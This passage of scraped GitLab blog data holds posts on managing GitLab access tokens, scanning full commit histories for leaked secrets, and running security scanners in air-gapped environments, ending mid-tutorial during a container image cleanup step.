tokens](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097434869.png)\n\nFor the sake of simplicity, the chart illustrates a straightforward use case tied to single user ownership. For more information, check out our documentation of user roles and permissions at each [namespace](https://docs.gitlab.com/ee/user/permissions.html) (user/group) in your instance or top-level group. Example use cases could be as follows: \n\n- **Personal access tokens** ([PAT](https://docs.gitlab.com/user/profile/personal_access_tokens/#personal-access-token-scopes)) can be used by developers when a user's personal access and permissions are required. In this case, the credentials follow the status and permissions of the user, including the removal of access if the account loses access to a specific project or group (or is blocked entirely).   \n- **Project/group access tokens** ([PrAT](https://docs.gitlab.com/user/project/settings/project_access_tokens/#scopes-for-a-project-access-token)/[GrAT](https://docs.gitlab.com/user/group/settings/group_access_tokens/#scopes-for-a-group-access-token)) are recommended when access should be scoped to resources within a specific project/group, allowing anyone with a PrAT/GrAT to access those resources through mechanisms managed by assigned scopes.\n\n## Token types\n\nBelow is a list of GitLab tokens with their default prefixes and use cases. For more information, please visit the [GitLab Token overview page](https://docs.gitlab.com/ee/security/tokens/#available-scopes). \n\n| Tokens | Prefix  | Description |\n| :---: | :---: | :---: |\n| Personal access token | glpat | Access user-specific data |\n| OAuth 2.0 token |  gloas | Integrate with third-party applications using OAuth2.0 authentication protocol |\n| Impersonation token | glpat | Act on behalf of another user for administrative purposes |\n| Project access token | glpat | Access data from a specific project |\n| Group access token | glpat |  Access data from a specific group |\n| Deploy token | gldt |  Clone, push, and pull container registry images of a project without a user and a password |\n| Deploy keys | N/A | Allow read-only or read-write access to your repositories |\n| Runner authentication token | glrt | Authenticate GitLab Runners |\n| CI/CD job token  | glcbt | Automate CI/CD processes |\n| Trigger token | glptt | Trigger pipelines manually or programmatically |\n| Feed token | glft | Authenticate access to package/RSS feeds |\n| Incoming mail token  | glimt | Process incoming emails |\n| GitLab agent for Kubernetes token | glagent | Manage Kubernetes clusters via the GitLab agent |\n| SCIM tokens | glsoat | Enable SCIM integrations for user provisioning |\n| Feature flags client token | glffct | Enable feature flags programmatically |\n| Webhook token | N/A | User set secret token to secure webhook payloads and ensure that the requests are from GitLab |\n\n## Discovering your tokens\n\n### Credentials inventory\n\nOn GitLab Ultimate, administrators (GitLab Self-Managed) and top-level group owners of an enterprise organization (GitLab.com as of Version 17.5) can monitor the credentials in their namespace.\n\nThis inventory tracks token details such as:\n\n* Token type  \n  * Available tokens on [GitLab.com](https://docs.gitlab.com/ee/user/group/credentials_inventory.html)  \n  * Available tokens on [GitLab Self-Managed](https://docs.gitlab.com/ee/administration/credentials_inventory.html)  \n* Associated user accounts  \n* Token scopes, and creation and expiration dates  \n* Token last used IP addresses (as of GitLab 17.10)  \n* Token filtration based on the above user-defined parameters  \n* Ability to revoke and rotate those tokens\n\nA well-maintained credentials inventory helps identify over-permissioned tokens, and gives insight into credentials that may need to be rotated, ensuring a secure and efficient workflow.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/A9ONfnwswd0?si=4VIEUgJaD4daj81b&start=105\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### Credentials inventory API\n\nAs a complement to the UI, there is [ongoing development](https://gitlab.com/groups/gitlab-org/-/epics/16343) to release a credentials inventory API through the new /group/:id/manage [endpoint](https://docs.gitlab.com/ee/api/members.html#list-all-members-of-a-group-or-project). The credentials accessible under this endpoint are limited to enterprise [users](https://docs.gitlab.com/ee/user/enterprise_user/), and can be accessed by the top-level group owner of an enterprise organization. An example of the future API call would be:\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cpat>\" \"https://verified_domain.com/api/v4/groups/\u003Cgroup_id>/manage/personal_access_tokens\"           \n```\n### GitLab API\n\nThe GitLab API allows you to programmatically list and manage tokens within your organization. Key authentication-related endpoints support [various token types](https://docs.gitlab.com/ee/api/rest/authentication.html)), including personal, group, CI/CD tokens, and more. An example of using a personal access token to list all visible projects across GitLab for the authenticated user is:\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cyour_access_token>\" \\\n     \"https://gitlab.example.com/api/v4/projects\"\n\n```\n\nWatch this video to learn how to make API calls to the GitLab API.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0LsMC3ZiXkA?si=vj871YH610jwQdFc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Finding where tokens are used\n\nCustomers can find where tokens are used in different ways:\n* under **User Profile > [Access Tokens](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used)**\n* in credentials inventory\n* in audit events\n* via the API \n\nInformation on token usage is updated every 10 minutes for **last_used** and every minute for **last_used_ip**. \n\nThe ability to view IP addresses was introduced in GitLab 17.9, and is controlled by the **:pat_ip** feature flag. Follow these [steps to view the last time a token was used](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used), along with its last five distinct IP addresses.\n\n![Token management guide - personal access tokens settings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097434870.png)\n\n## Managing tokens in the GitLab UI and API\nThe following table includes videos detailing a few token creations in the UI and demonstrates their usage via the API.\n\n| Tokens     | GitLab UI    | GitLab API    |\n| ---------- | ---------- | ---------- |\n| Personal access token | [Documentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) and [video](https://youtu.be/v5Nj3Jy4vaI?t=3)  | [Documentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=43)  |\n| Group access token | [Documentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#group-access-tokens) and [video](https://youtu.be/v5Nj3Jy4vaI?t=120)  | [Documentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=157)  |\n| Project access token | [Documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#project-access-tokens) and [video](https://youtu.be/v5Nj3Jy4vaI?t=254)  | [Documentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=285)  |\n\n## Token rotation and expiration management\n\nImplementing token rotation and strict expiration policies reduces the risk of compromise and ensures compliance with security standards. Regular rotation and enforced expirations prevent stale credentials from becoming security vulnerabilities.\n\nPreviously, expired group and project access tokens were automatically deleted upon expiration, which made auditing and security reviews more challenging due to the lack of a record of inactive tokens. To address this, a [recent feature](https://gitlab.com/gitlab-org/gitlab/-/issues/462217) introduced the retention of inactive group and project access token records in the UI for 30 days after they became inactive. This enhancement aims to allow teams to track token usage, expiration, and revocation for better compliance and monitoring.\n\nTo be more proactive in your token rotation and expiration management, do the following: \n\n* Actively rotate your tokens via the UI or API. If you use the latter, be mindful of the [automatic token reuse detection](https://docs.gitlab.com/ee/api/personal_access_tokens.html#automatic-reuse-detection) security mechanism.  \n* Set an instance-wide [maximum lifetime limit](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#limit-the-lifetime-of-access-tokens) for access tokens. \n\n### Token rotation API\n\nUntil GitLab 17.7, customers had to programmatically rotate access tokens with the API. Its counterpart is now available on the UI. Check out the video in the table below or follow the [documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#use-the-ui) for guidance.\n\n### Token rotation snippets\n\nThe following table includes videos detailing the rotation of GitLab tokens. \n\n| Tokens | Prerequisites | GitLab UI | GitLab API |\n| :---: | :---: | ----- | ----- |\n| Personal access token | Scope: api\u000b | [Documentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) and [video](https://youtu.be/v5Nj3Jy4vaI?t=76)  | [Documentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html#rotate-a-personal-access-token) and [video](https://youtu.be/v5Nj3Jy4vaI?t=92)  |\n| Group access token | Scope: api and Role(s): owner | [Documentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#create-a-group-access-token-using-ui) and [video](https://youtu.be/v5Nj3Jy4vaI?t=203)  | [Documentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=214)  |\n| Project access token | Scope: api and Role(s): owner, maintainer | [Documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token) and [video](https://youtu.be/v5Nj3Jy4vaI?t=335)  | [Documentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) and [video](https://youtu.be/v5Nj3Jy4vaI?t=349)  |\n\n## Token management best practices\n\n### Principle of least privilege\n\nMitigate risk by restricting assigned permissions to tokens required for their respective tasks. This allows you to proactively predict and troubleshoot points of failure in your systems. You can do this by: \n\n* Selecting the right token for the right job. See the flowchart.  \n* Assign only the required scopes when creating a token. For example, use read-only scopes for tokens with auditor-like jobs. See [roles](https://docs.gitlab.com/ee/user/permissions.html#roles).  \n* Avoid granting administrative privileges unless specifically required.  \n* Enforce instance-wide default token [lifetimes](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#set-a-lifetime-1).  \n* Regularly review and audit token permissions to ensure they align with current operational needs.  \n* Revoke tokens once the task is complete.\n\n### Service accounts\n\n[Service accounts](https://docs.gitlab.com/ee/user/profile/service_accounts.html) ensure tokens are tied to non-human entities, separating them from individual user accounts and reducing dependency on specific users. Instead of using personal accounts to generate tokens for automation, create service accounts with limited scopes. Benefits include:\n\n* Usage of service account tokens in CI/CD pipelines to avoid disruptions caused by user account changes  \n* Programmatically automate rotation processes, as personal accounts remain unaffected  \n* Clearer monitoring and auditing trail of actions taken by service accounts  \n* Service accounts with [no expiration](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-service-account-personal-access-token-with-no-expiry-date) date  \n* Does not consume [a license seat](https://docs.gitlab.com/user/profile/service_accounts/#create-a-service-account)\n\nGitLab plans to release a new [Service Accounts UI](https://gitlab.com/groups/gitlab-org/-/epics/9965) as a counterpart to its [API-based creation](https://docs.gitlab.com/ee/api/user_service_accounts.html#create-a-service-account-user), designed to simplify the management of service accounts and their associated tokens. Check out the demo below on the programmatic usage of service accounts.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/oZvjg0SCsqY?si=cj-0LjfeonLGXv9u\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Vulnerability tools\n\nLeverage GitLab’s built-in security tools to identify and mitigate vulnerabilities associated with token usage. For maximum coverage, it is recommended to use them all in tandem.\n\n* [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/): Scans your repository for hardcoded secrets like API tokens, passwords, and other sensitive information. View the [list of detected secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/detected_secrets.html).  \n* [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/): Analyzes your source code for security vulnerabilities and [provides reports with UI findings in merge requests](https://docs.gitlab.com/ee/user/application_security/sast/#features), among other features.  \n* [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/): Ensures that third-party libraries used in your project do not expose token-related vulnerabilities. \n\n### Audit logs and monitoring\n\nMaintain token health by regularly reviewing audit logs and token usage, instance- and/or group-wide.\n\n* [Audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html): Enable audit event logging in GitLab to track token-related activities such as creation, usage, deletion and unusual API calls (unpermitted parameters in logs, and consistent triggers of the rate limiter). \n* [IP allowlisting](https://docs.gitlab.com/ee/administration/reporting/ip_addr_restrictions.html#configure-ip-address-restrictions): Helps prevent malicious users from hiding their activities behind multiple IP addresses.  \n* [Alerts](https://docs.gitlab.com/ee/operations/incident_management/alerts.html): Set up alerts for unusual activities (trigger paging for on-call rotations or be used to create incidents).  \n* [Credentials inventory](https://docs.gitlab.com/ee/administration/credentials_inventory.html): Complete control of all available access tokens with the ability to revoke as needed.  \n* [Notifications](https://docs.gitlab.com/ee/user/profile/notifications.html): Proactively handle any token (group, project, and personal) expiration notification emails you receive. Based on customer demand, this feature was recently extended to include 30-day and 60-day notifications from the seven-day default.   \n* [Webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#create-a-webhook): Access token webhooks can be configured on groups and projects to send seven-day token expiry events. This feature was also recently extended to include 30-day and 60-day notifications behind the **:extended_expiry_webhook_execution_setting** feature flag (disabled by default).\n\n## What's next\n\nWith GitLab’s large token catalog, there are ongoing [plans](https://gitlab.com/gitlab-org/gitlab/-/issues/502630) for consolidation with a focus on the lifetime, fine-grained scopes, consistent management, and usage. Our current prioritized token-related features include a complete UI for service accounts, additional credential types in the credentials inventory, and improved auditing for tokens and service accounts.\n\n> Sign up for a [free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/) to start using token management.",[696,14,479,715,695],{"slug":1038,"featured":92,"template":677},"the-ultimate-guide-to-token-management-at-gitlab","content:en-us:blog:the-ultimate-guide-to-token-management-at-gitlab.yml","The Ultimate Guide To Token Management At Gitlab","en-us/blog/the-ultimate-guide-to-token-management-at-gitlab.yml","en-us/blog/the-ultimate-guide-to-token-management-at-gitlab",{"_path":1044,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1045,"content":1051,"config":1059,"_id":1061,"_type":16,"title":1062,"_source":17,"_file":1063,"_stem":1064,"_extension":20},"/en-us/blog/how-to-scan-a-full-commit-history-to-detect-sensitive-secrets",{"title":1046,"description":1047,"ogTitle":1046,"ogDescription":1047,"noIndex":6,"ogImage":1048,"ogUrl":1049,"ogSiteName":767,"ogType":768,"canonicalUrls":1049,"schema":1050},"How to scan a full commit history to detect sensitive secrets","Use GitLab Secret Detection to scan a repository's commit history, including branches. View results within the GitLab UI with just a few lines of code added to a pipeline file.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097948/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20display%20preview%20for%20blog%20images%20%281%29_2XDPsbkjQ3o6tcdom6IGxI_1750097948673.png","https://about.gitlab.com/blog/how-to-scan-a-full-commit-history-to-detect-sensitive-secrets","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to scan a full commit history to detect sensitive secrets\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Noah Ing\"},{\"@type\":\"Person\",\"name\":\"Jerez Solis\"}],\n        \"datePublished\": \"2025-02-06\",\n      }",{"title":1046,"description":1047,"authors":1052,"heroImage":1048,"date":1055,"body":1056,"category":14,"tags":1057},[1053,1054],"Noah Ing","Jerez Solis","2025-02-06","Secrets left exposed in outdated repositories pose significant risk for data breaches. For example, a still-active secret key can be exposed, leaving it vulnerable to exploitation. Secrets include access keys, API tokens, private keys, and other sensitive values. \n\nIn this article, you'll learn how to use GitLab Secret Detection to scan a repository’s full commit history, including all branches, to detect sensitive secrets. In addition, you will discover how to view the results directly within the GitLab UI without the need for any integration. All it takes is just a couple of lines of code in your `.gitlab-ci.yml` pipeline file. \n\n## Scan every corner of your repository\n\nWe will use the sample repository shown in the screenshot below as an example. To keep things simple, there is only a `README.md` file present in the default branch of this repository. \n\n![Sample repository to scan](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097956/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097955851.png)\n\nAt first glance, it may seem like the repository is empty and that there are probably no sensitive secrets in this repository. But what we are looking at is only the state of the default branch, which is the main branch in this example. There could be feature branches in this repository created weeks, months, or years ago with sensitive secrets. It is also possible that a file with a secret was accidentally pushed to the repo and then deleted right after. However, it likely was not deleted correctly and is still in the commit history.\n\nWe are going to enable GitLab Secret Detection scanner and set the `SECRET_DETECTION_HISTORIC_SCAN` variable to **true** so that the content of all branches in the repository is scanned.\n\n![Enable GitLab Secret Detection variable to true](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097956/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097955853.png)\n\n```\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\nsecret_detection:\n  variables:\n    SECRET_DETECTION_HISTORIC_SCAN: \"true\"\n```\n\nBy setting the `SECRET_DETECTION_HISTORIC_SCAN` variable to **true**, GitLab Secret Detection looks into every branch and commit of your repository. It ensures that no sensitive information — whether from a feature branch or an old commit — is left unchecked.\n\n## Results of the scan\n\nTwo sensitive secrets were identified in the repository. One is a password in a `.env` file that was deleted from the repository, but the commit containing it was not removed from the git history. The other is an AWS Access Token found in a feature branch. These exposed secrets could compromise the organization’s security. \n\n![AWS Access Token screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097956/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097955855.png)\n\nYou can click on the AWS Access Token result to see more details, including the file location. You can also create a GitLab issue to triage the vulnerability with one click. If you’re using the Jira integration, you can create a Jira ticket directly from the vulnerability page as well.\n\n## Why scanning for secrets matters\n\nAnyone with access to the repository can misuse the secret to gain unauthorized access to private resources and sensitive data. \n\nIn addition to scanning a repository’s full commit history across all branches, GitLab Secret Detection also helps you take a multilayered approach to detecting secrets:\n\n* [Secret push protection](https://docs.gitlab.com/ee/user/application_security/secret_detection/secret_push_protection/index.html) - scans commits for secrets during a push and blocks it if secrets are detected, unless skipped, reducing the risk of leaks.  \n* [Pipeline secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html) - scans files after they’ve been committed and pushed to a GitLab repository.\n* [Client-side secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/client/index.html) - scans comments and descriptions in issues and merge requests for secrets before they're saved to GitLab.  * [Automatic response to leaked secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html) - automatically revokes certain types of leaked secrets and notifies the partner that issued the secret. \n\nYou can adjust pipeline secret detection to suit your needs by modifying, extending, or replacing the default ruleset. For instance, you can define [custom rules](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html#customize-analyzer-rulesets) using regex patterns to detect sensitive data like credit card numbers, phone numbers, or other information specific to your organization.\n\n## Try GitLab Secret Detection\n\n1. [Enable](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#enable-the-analyzer) Secret Detection in your GitLab pipeline.  \n2. Set `SECRET_DETECTION_HISTORIC_SCAN: true`.  \n3. Push and trigger a pipeline to scan all branches and commits.\n\nGitLab makes securing your code simple and comprehensive. Don’t let an old branch or commit compromise your security — give historical scans a try today!\n\n> #### [Sign up for a free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/) to get started with security scanners like Secret Detection.",[1058,696,479,715],"solutions architecture",{"slug":1060,"featured":6,"template":677},"how-to-scan-a-full-commit-history-to-detect-sensitive-secrets","content:en-us:blog:how-to-scan-a-full-commit-history-to-detect-sensitive-secrets.yml","How To Scan A Full Commit History To Detect Sensitive Secrets","en-us/blog/how-to-scan-a-full-commit-history-to-detect-sensitive-secrets.yml","en-us/blog/how-to-scan-a-full-commit-history-to-detect-sensitive-secrets",{"_path":1066,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1067,"content":1073,"config":1078,"_id":1080,"_type":16,"title":1081,"_source":17,"_file":1082,"_stem":1083,"_extension":20},"/en-us/blog/tutorial-security-scanning-in-air-gapped-environments",{"title":1068,"description":1069,"ogTitle":1068,"ogDescription":1069,"noIndex":6,"ogImage":1070,"ogUrl":1071,"ogSiteName":767,"ogType":768,"canonicalUrls":1071,"schema":1072},"Tutorial: Security scanning in air-gapped environments","Security scanning remains crucial even in air-gapped environments to detect internal threats, prevent data exfiltration, and maintain operational integrity. Learn how GitLab can help get air-gapped environments secure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099301/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750099300786.jpg","https://about.gitlab.com/blog/tutorial-security-scanning-in-air-gapped-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Security scanning in air-gapped environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-02-05\",\n      }",{"title":1068,"description":1069,"authors":1074,"heroImage":1070,"date":1075,"body":1076,"category":14,"tags":1077},[856],"2025-02-05","Air-gapped environments are computer networks or systems that are physically isolated from unsecured networks, such as the public internet or unsecured local area networks. This isolation is implemented as a security measure to protect sensitive data and critical systems from external cyber threats by providing:\n\n* Enhanced security: By physically isolating systems from external networks, air-gapped environments help prevent remote attacks, malware infections, and unauthorized data access. This is crucial for highly sensitive data and critical systems.\n* Data protection: Air-gapping provides the strongest protection against data exfiltration since there's no direct connection that attackers could use to steal information.\n* Critical infrastructure protection: For systems that control vital infrastructure (like power plants, water treatment facilities, or military systems), air-gapping helps prevent potentially catastrophic cyber attacks.\n* Compliance requirements: Many regulatory frameworks require air-gapping for certain types of sensitive data or critical systems, particularly in government, healthcare, and financial sectors.\n* Malware protection: Without network connectivity, systems are protected from network-based malware infections and ransomware attacks.\n\nEven though air-gapped systems are isolated, they can still have vulnerabilities. Regular security scanning helps identify these weaknesses before they can be exploited. In this article, you will learn the different security scanners GitLab provides and how they can be added/updated in a limited-connectivity environment.\n\n## GitLab security scanners in air-gapped environments\n\nGitLab provides a variety of different security scanners for the complete application lifecycle. The scanners that support air-gapped environments include:\n\n* [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/index.html#running-sast-in-an-offline-environment)  \n* [Dynamic Application Security Testing (DAST](https://docs.gitlab.com/ee/user/application_security/dast/browser/configuration/offline_configuration.html))  \n* [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html#offline-configuration)  \n* [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#running-container-scanning-in-an-offline-environment)  \n* [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#offline-environment)  \n* [API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/configuration/offline_configuration.html)  \n* [License Scanning](https://docs.gitlab.com/ee/user/compliance/license_scanning_of_cyclonedx_files/index.html#running-in-an-offline-environment)\n\nBy default, GitLab Self-Managed instances pull security scanner images from the public GitLab container registry (registry.gitlab.com) and store them within the [built-in local GitLab container registry](https://docs.gitlab.com/ee/user/packages/container_registry/). I will demonstrate this flow below by running the following pipeline that scans for secrets on a [sample project](https://gitlab.com/gitlab-da/tutorials/security-and-governance/owasp/juice-shop): \n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n```\n\nWhen running the job in an internet-connected GitLab instance the job passes:\n\n![GitLab Runner with internet access successfully pulling from external registry\n](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/pass-1_aHR0cHM6_1750099328577.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner with internet access successfully pulling from external registry\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\nHowever, If I disable internet access to the VM running GitLab, the `secret-detection` job will fail to download the container image, causing the job to fail:\n\n![GitLab Runner without internet access failing to pull from external registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/fail-1_aHR0cHM6_1750099328577.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner without internet access failing to pull from external registry\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nAlternatively, if I set my GitLab Runners’ pull image policy to `if-not-present` from `always`, I can load the cached version of the scanner if it was run before on the internet by using the image stored in our local docker:\n\n![GitLab Runner without internet access successfully pulling from internal registry cache](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099329/Blog/Content%20Images/Blog/Content%20Images/pass-2_aHR0cHM6_1750099328579.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner without internet access successfully pulling from internal registry cache\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\n### Setting up offline scanning prerequisites\n\nRunning these security scanners in an air-gapped environment requires the following:\n\n* [GitLab Ultimate subscription](https://about.gitlab.com/pricing/ultimate/)  \n* [Offline cloud license](https://about.gitlab.com/pricing/licensing-faq/cloud-licensing/#offline-cloud-licensing)  \n* GitLab Self-Managed cluster\n\nYou can follow along with this tutorial in any GitLab Self-Managed EE instance (even those that are not air-gapped) to learn how to transfer and run images in an air-gapped environment. In this tutorial, I will demonstrate how to load scanner images onto a GitLab-EE instance running in a Google Compute VM where I cut off the `EGRESS` to everything by implementing firewall rules:\n\n```bash\n# egress firewall rule to block all outbound traffic to the internet\n$ gcloud compute firewall-rules create deny-internet-egress \\\n    --direction=EGRESS \\\n    --priority=1000 \\\n    --network=default \\\n    --action=DENY \\\n    --rules=all \\\n    --destination-ranges=0.0.0.0/0 \\\n    --target-tags=no-internet\n\n# Create an allow rule for internal traffic with higher priority\n$ gcloud compute firewall-rules create allow-internal-egress \\\n    --direction=EGRESS \\\n    --priority=900 \\\n    --network=default \\\n    --action=ALLOW \\\n    --rules=all \\\n    --destination-ranges=10.0.0.0/8,192.168.0.0/16,172.16.0.0/12 \\\n    --target-tags=no-internet\n\n# Apply tag to VM\n$ gcloud compute instances add-tags YOUR_VM_NAME \\\n    --zone=YOUR_ZONE \\\n    --tags=no-internet\n```\n\nThen, once I SSH into my VM, you can see we cannot connect to registry.gitlab.com:\n\n```bash\n# showing I can’t access the gitlab container registry\n$ ping registry.gitlab.com\nPING registry.gitlab.com (35.227.35.254) 56(84) bytes of data.\n^C\n--- registry.gitlab.com ping statistics ---\n3 packets transmitted, 0 received, 100% packet loss, time 2031ms\n```\n\n**Note:** I am still allowing ingress so I can copy files and SSH into the machine.\n\n## Load security scanners in air-gapped environments\n\nTo use the various security scanners on air-gapped environments, the GitLab Runner must be able to fetch the scanner container images from GitLab’s built-in container registry. This means that the container images for the security scanners must be downloaded and packaged in a separate environment with access to the public internet. The process of loading security scanners onto an air-gapped environment includes the following:\n\n1. Download and package container images from the public internet.\n2. Transfer images to offline environment.\n3. Load transferred images into offline container registry.\n\nNow let’s go over how we can implement GitLab Secret Detection in an air-gapped environment.\n\n### Download and package container images from public internet\n\nLet’s download the container image for secret detection and store it within our local container registry. Other scanner images can be found in the [offline deployments documentation](https://docs.gitlab.com/ee/user/application_security/offline_deployments/). I will be using Podman desktop to download these images, but you can use Docker desktop or other alternatives.\n\n1. Pull the GitLab Secret Detection image.\n\n```bash\n$ podman pull registry.gitlab.com/security-products/secrets:6\nTrying to pull registry.gitlab.com/security-products/secrets:6...\nGetting image source signatures\nCopying blob sha256:999745130ac045f2b1c29ecce088b43fc4a95bbb82b7960fb7b8abe0e3801bf8\nCopying blob sha256:a4f7c013bb259c146cd8455b7c3943df7ed84b157e42a2348eef16546d8179b1\nCopying blob sha256:1f3e46996e2966e4faa5846e56e76e3748b7315e2ded61476c24403d592134f0\nCopying blob sha256:400a41f248eb3c870bd2b07073632c49f1e164c8efad56ea3b24098a657ec625\nCopying blob sha256:9090f17a5a1bb80bcc6f393b0715210568dd0a7749286e3334a1a08fb32d34e6\nCopying blob sha256:c7569783959081164164780f6c1b0bbe1271ee8d291d3e07b2749ae741621ea3\nCopying blob sha256:20c7ca6108f808ad5905f6db4f7e3c02b21b69abdea8b45abfa34c0a2ba8bdb5\nCopying blob sha256:e8645a00be64d77c6ff301593ce34cd8c17ffb2b36252ca0f2588009a7918d2e\nCopying config sha256:0235ed43fc7fb2852c76e2d6196601968ae0375c72a517bef714cd712600f894\nWriting manifest to image destination\nWARNING: image platform (linux/amd64) does not match the expected platform (linux/arm64)\n0235ed43fc7fb2852c76e2d6196601968ae0375c72a517bef714cd712600f894\n\n$ podman images\nREPOSITORY                                                  TAG         IMAGE ID      CREATED      SIZE\nregistry.gitlab.com/security-products/secrets               6           0235ed43fc7f  4 hours ago  85.3 MB\n```\n\n2. Save the image as a tarball.\n\n```bash\n$ podman save -o secret-detection.tar registry.gitlab.com/security-products/secrets:6\n$ chmod +r secret-detection.tar\n$ ls -al secret-detection.tar\n-rw-r--r--@ 1 fern  staff  85324800 Jan 10 10:25 secret-detection.tar\n```\n\nAlternatively, you can use the [official GitLab template](https://docs.gitlab.com/ee/user/application_security/offline_deployments/#using-the-official-gitlab-template) on an environment with internet access to download the container images needed for the security scanners and save them as job artifacts or push them to the container registry of the project where the pipeline is executed. \n\n### Transfer images to offline environment\n\nNext, let's transfer the tarball to our air-gapped environment. This can be done in several ways, depending on your needs, such as:\n\n* Physical media transfer  \n* Data diodes  \n* Guard systems  \n* Cross-domain solutions (CDS) \n\nI will SCP (Secure Copy Protocol) the tarball directly to my VM that does not have egress access, but does allow ingress. As this is just for demonstration purposes, make sure to consult your organization's security policies and transfer procedures for air-gapped environments.\n\n#### Verify the image is not cached\n\nBefore transferring the file, I’ll delete the Docker images on my GitLab instance pertaining to secret detection to make sure they aren't cached:\n\n```bash\n$ docker images\nREPOSITORY                                                          TAG              IMAGE ID       CREATED        SIZE\nregistry.gitlab.com/security-products/secrets                       6                0235ed43fc7f   9 hours ago    84.8MB\nregistry.gitlab.com/security-products/secrets                       \u003Cnone>           16d88433af61   17 hours ago   74.9MB\n\n$ docker image rmi 16d88433af61 -f\nUntagged: registry.gitlab.com/security-products/secrets@sha256:f331da6631d791fcd58d3f23d868475a520f50b02d64000e2faf1def66c75d48\nDeleted: 